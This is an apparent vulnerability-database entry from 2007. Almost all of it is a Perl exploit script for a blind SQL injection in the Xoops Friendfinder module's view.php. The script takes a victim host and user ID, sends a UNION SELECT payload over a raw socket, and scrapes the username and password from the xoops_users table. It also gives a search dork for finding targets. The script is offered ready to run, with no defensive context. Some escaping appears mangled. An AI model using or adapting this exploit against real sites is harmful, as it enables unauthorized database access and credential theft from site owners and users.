Xoops Module Friendfinder <= 3.3 (view.php id) SQL Injection Exploit

2007-03-29T00:00:00
ID SSV:6517
Type seebug
Reporter Root
Modified 2007-03-29T00:00:00

Description

No description provided by source.

                                        
                                            
                                                #!/usr/bin/perl
#[Script Name: Xoops Module Friendfinder <= 3.3 (view.php id) BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Dork       : \"inurl:/modules/friendfinder/\"
#[Contact    : :(
#[S.Page     : http://www.xoops.org/
#[$$         : Free
#[..         : ajann,Turkey


use IO::Socket;
if(@ARGV < 1){
print \"
[========================================================================
[//  Xoops Module Friendfinder <= 3.3 (view.php id) BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
\";
exit();
}
#Local variables
$kapan = \"/*\";
$server = $ARGV[0];
$server =~ s/(http://)//eg;
$host = \"http://\".$server;
$port = \"80\";
$file = \"/view.php?id=\";

print \"Script <DIR> : \";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print \"-- Exploit Failed[You Are Exited] 
\";
exit();
}

if ($dir =~ ///){}
else {
print \"-- Exploit Failed[No DIR] 
\";
exit();
 }

print \"User ID (uid): \";
$id = <STDIN>;
chop ($id);

$target = \"-1\'%20union%20select%201,2,3,4,5,6,7,8,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%20\".$id.$kapan;
$target = $host.$dir.$file.$target;

#Writing data to socket
print \"+**********************************************************************+
\";
print \"+ Trying to connect: $server
\";
$socket = IO::Socket::INET->new(Proto => \"tcp\", PeerAddr => \"$server\", PeerPort => \"$port\") || die \"
+ Connection failed...
\";
print $socket \"GET $target HTTP/1.1
\";
print $socket \"Host: $server
\";
print $socket \"Accept: */*
\";
print $socket \"Connection: close

\";
print \"+ Connected!...
\";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print \"+ Exploit succeed! Getting admin information.
\";
print \"+ ---------------- +
\";
print \"+ Username: $1
\";
}

if ($answer =~ /password:(.*?)</td>/){
print \"+ Password: $1
\";
}

if ($answer =~ /Syntax error/) { 
print \"+ Exploit Failed : ( 
\";
print \"+**********************************************************************+
\";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print \"+ Exploit Failed : (  
\";
print \"+**********************************************************************+
\";
exit(); 
}
 }